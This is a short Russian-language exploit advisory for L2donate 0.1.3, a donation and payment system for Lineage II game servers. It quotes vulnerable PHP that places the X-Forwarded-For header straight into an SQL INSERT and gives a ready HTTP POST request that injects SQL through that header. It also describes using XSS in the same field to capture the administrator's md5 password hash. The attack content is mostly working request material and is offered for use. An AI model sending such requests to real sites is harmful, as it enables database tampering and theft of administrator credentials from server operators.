L2donate система платных услуг LineageII Офф сайт: http://l2donate.ru/ Версия: 0.1.3 уязвимость в модулях: client/modules/*/index.php Например: client/modules/system/index.php PHP: $fromip = $_SERVER['REMOTE_ADDR']; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $fromip .= $_SERVER['HTTP_X_FORWARDED_FOR']; } if(isset($_SERVER['REMOTE_HOST'])) { $fromip .= '--'.$_SERVER['REMOTE_HOST']; } $fields = "ip='".$fromip."', login='".$login."' ,redirecturl='', transid='' , status='0', sellingamount='".$sellingCurrencyAmount."' , accountingamount='0', gateway='".trim($request['fill'])."' , amount='0', result='', trans_date='".date('Y-m-j H:i:s')."'"; $result = $db['prim']->query("INSERT INTO ".DB_PREFIX."transactions SET ".$fields); Пример эксплуатации: POST /client/?module=systems HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://localhost/client/?module=systems Cookie: logged_usr=1; login_usr=test; pass_usr=qUqP5cyxm6YcTAhz05Hph5gvu9M%3D; auth_usr_hash=68f522804fda3638ef8a710bfa790513; PHPSESSID=e37cf42680902ad6c4edfb5e51dc2c85 X_FORWARDED_FOR: ',{SQL} Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 68 login=test&fill=systems&action=paymentpage&sellingcurrencyamount=111 Пароль администратора хранится в файле, поэтому через скулю до него не добраться... Есть возможность проведения xss в поле X_FORWARDED_FOR, с помощью чего можно получить md5 хеш админа.